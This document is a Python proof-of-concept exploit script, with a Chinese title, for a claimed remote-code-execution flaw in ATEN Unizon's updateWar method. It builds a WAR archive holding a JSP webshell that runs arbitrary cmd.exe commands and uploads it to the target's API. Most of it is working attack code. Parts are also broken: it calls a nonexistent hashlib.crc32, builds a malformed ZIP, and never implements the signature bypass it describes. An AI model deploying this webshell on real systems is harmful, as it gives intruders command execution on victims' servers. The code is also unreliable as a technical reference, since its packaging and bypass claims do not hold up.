CVE-2026-9779 ATEN Unizon加密签名验证不当导致远程代码执行漏洞

# CVE-2026-9779 - ATEN Unizon RCE via Improper Cryptographic Signature Verification # PoC demonstrating the exploitation concept of the updateWar method flaw # Original advisory: ZDI-CAN-28590 / ZDI-26-383 import requests import struct import hashlib TARGET_URL = "https://target-aten-unizon:8443" AUTH_TOKEN = "authenticated_session_token_here" # Requires high-privilege credentials def craft_malicious_war(): """ Craft a malicious WAR file that bypasses the flawed signature verification in doCryptoHugeFileToFile / updateWar method. The vulnerability stems from incorrect cryptographic signature verification implementation, allowing crafted payloads to pass validation. """ # JSP webshell payload to be deployed as a WAR archive webshell_content = b"""<%@ page import="java.util.*,java.io.*" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>""" # Build minimal WAR file structure (simplified) war_data = b'PK\x03\x04' # ZIP local file header magic war_data += b'\x14\x00' # Version needed war_data += b'\x00\x00' # General purpose bit flag war_data += b'\x08\x00' # Compression method (deflate) war_data += b'\x00\x00' # Last mod file time war_data += b'\x00\x00' # Last mod file date war_data += struct.pack('<I', hashlib.crc32(webshell_content) & 0xffffffff) war_data += struct.pack('<I', len(webshell_content)) # Compressed size war_data += struct.pack('<I', len(webshell_content)) # Uncompressed size war_data += struct.pack('<H', len('cmd.jsp')) # File name length war_data += struct.pack('<H', 0) # Extra field length war_data += b'cmd.jsp' war_data += webshell_content return war_data def exploit_update_war(war_payload): """ Exploit the updateWar method by uploading a malicious WAR file. The doCryptoHugeFileToFile function fails to properly verify the cryptographic signature, allowing the malicious WAR to be accepted. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/octet-stream" } # Endpoint for the updateWar method in ATEN Unizon upload_url = f"{TARGET_URL}/api/updateWar" response = requests.post( upload_url, headers=headers, data=war_payload, verify=False ) if response.status_code == 200: print("[+] WAR file uploaded successfully") print("[+] Webshell deployed at: /cmd.jsp") print(f"[+] Execute commands via: {TARGET_URL}/cmd.jsp?cmd=whoami") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False if __name__ == "__main__": print("[*] CVE-2026-9779 PoC - ATEN Unizon RCE") print("[*] Requires high-privilege authentication (PR:H)") war = craft_malicious_war() exploit_update_war(war)